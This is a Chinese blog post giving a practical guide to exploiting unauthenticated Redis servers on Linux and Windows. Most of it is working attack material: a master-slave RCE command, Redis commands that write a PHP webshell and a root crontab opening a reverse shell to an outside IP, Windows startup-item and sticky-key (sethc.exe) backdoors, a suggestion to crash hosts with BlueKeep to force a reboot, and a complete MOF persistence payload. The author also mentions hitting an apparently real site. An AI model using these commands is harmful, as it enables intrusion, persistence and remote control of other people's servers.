美文网首页
redis漏洞利用

redis漏洞利用

作者: gelinlang | 来源:发表于2021-02-23 11:57 被阅读0次

    linux

    未授权通常两种方式利用:
    一、Redis版本在4.x、5.x上的主从getshell。
    二、直接写入文件,写webshell、计划任务、ssh公钥。
    主从getshell

    cd RedisModulesSDK/
    make
    cd ../
    python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
    
    image.png

    写文件

    config set dir /tmp/               //设置目录
    config set dbfilename test.php     //设置文件名
    set shell "<?php phpinfo();?>"    //写入内容
    save
    //写计划任务
    //Centos的定时任务文件在/var/spool/cron/
    //Ubuntu定时任务文件在/var/spool/cron/crontabs/
    config set dir /var/spool/cron/
    config set dbfilename 'root'
    set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.226.130/7891 0>&1\n\n"
    save
    //备注:
    //debian,ubuntu反弹失败,他们对计划任务的格式很严格,需要执行crontab -u root /var/spool/cron/crontabs/root
    //运行权限为非root权限,反弹shell也是低权限
    
    image.png

    window

    思路:
    直接写webshell(需要绝对路径)、写启动项(需要目标重启)、写dll、写mof(win2003)、写sethc.exe
    写文件的脚本用的是https://github.com/r35tart/RedisWriteFile
    0x01
    目标为IIS服务器
    默认路径为C:\inetpub\wwwroot

    image.png
    这个站刚写上txt成功访问了,然后6379就关了,捞的一。
    0x02
    写用户启动项
    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    写一个马,如果目标开放了3389用0708打蓝屏等他重启
    0x03
    写黏贴键
    image.png
    把sethc.exe替换为cmd.exe。利用,要能够进入远程桌面界面,如果显示如下的话需要使用旧版的mstsc
    image.png
    0x04
    写mof,
    image.png
    #pragma namespace("\\\\.\\root\\subscription") 
    
    instance of __EventFilter as $EventFilter 
    { 
        EventNamespace = "Root\\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa \"Win32_LocalTime\" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = 
        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping 7ps0jk.dnslog.cn \")"; 
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    };
    

    参考文章
    https://xz.aliyun.com/t/8153#toc-1
    https://xz.aliyun.com/t/7940#toc-6

    相关文章

      网友评论

          本文标题:redis漏洞利用

          本文链接:https://www.haomeiwen.com/subject/kxqzjktx.html